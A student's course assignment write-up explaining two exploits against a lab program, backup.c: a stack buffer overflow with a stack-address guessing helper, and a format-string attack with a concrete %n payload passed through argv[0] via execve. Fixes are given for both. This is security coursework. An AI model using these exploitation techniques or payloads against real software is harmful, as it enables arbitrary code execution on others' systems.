Assignment1-milestone

Zhang,Yaonan

September 21, 2018

Programming Question

1. sploit1

   The vulnerability is buffer overflow. Let's look at line 26 and line 38 in backup.c

   ```c
   char buffer[3000];
   ...
   while (c != EOF) {
           buffer[i]  = (unsigned char) c;
           c = fgetc(source);
           i++;
   }
   ```

   The length of buffer is 3000, but `buffer[i] = c` while i increases without any check. So we can easily change the return address with buffer overflow, then run shellcode that's in the buffer.

   What we need to do is to create a file longer than 3000 bytes, and run this application to backup it.

   There're some details. First, `i` is also in the stack and may be overwrite, be careful to not change it to a smaller number or a random number, otherwise you can't overwrite the return address as you hope. Secondly, how to find the address of statck?(so we can know the address of return address). Gdb can help, but a easier and more common way is to use a similar function guess it, and use some NOP as padding. In my program it is :

   ```c
   int guess_stack()
   {
           char buffer[3000];
           unsigned c = (unsigned)buffer;
           printf("I think statck-3000 is 0x%x\n",c);
           return c;
   }
   ```

How to fix it? Write to destination file once you read 3000 chars, set `i` to 0, then continue to read.

2. sploit2

   The vulnerability is a format string. Let's look at line 186 in backup.c

   ```
           printf(output);
   ```

   The right way is:

   ```
           printf("%s", output);
   ```

   The string `output` partly comes from `argv[0]`, it's usually the name of binary file, but in fact it can be anything if we copy it or use `ln`. A even easier way is to just set it when use `exec` in C program.

   ```
   args[0] = name;
   args[1] = NULL;

   env[0] = NULL;

   if (execve(TARGET, args, env) < 0)
           fprintf(stderr, "execve failed.\n");
   ```

   The name I use is shellcode +
   "\xbc\xdc\xbf\xff\xbe\xdc\xbf\xff_[%56249u%21$n]_[%9157u%22$n]result[%21$s]end"
   + some 'z'

   With %n we can overwrite arbitrary memory, so we can change return address and then run shellcode.

   The only problem is how to find where is return address. We can copy the source code and change a little to get it.

   ```
   static
   void usage(char* parameter)
   {
           char output[200];

           snprintf(output, sizeof(output),
           "Usage: %.110s backup|restore|ls pathname\n", parameter);

           printf(output);
           printf("0x%x\n", output);
   }
   ```

   A useful trick is to fix the length of name string at beginning, so the address will not change.

   To fix this vulnerability, change

```
        printf(output);
```

to

```
        printf("%s", output);
```

see tool code at my github (may currently private)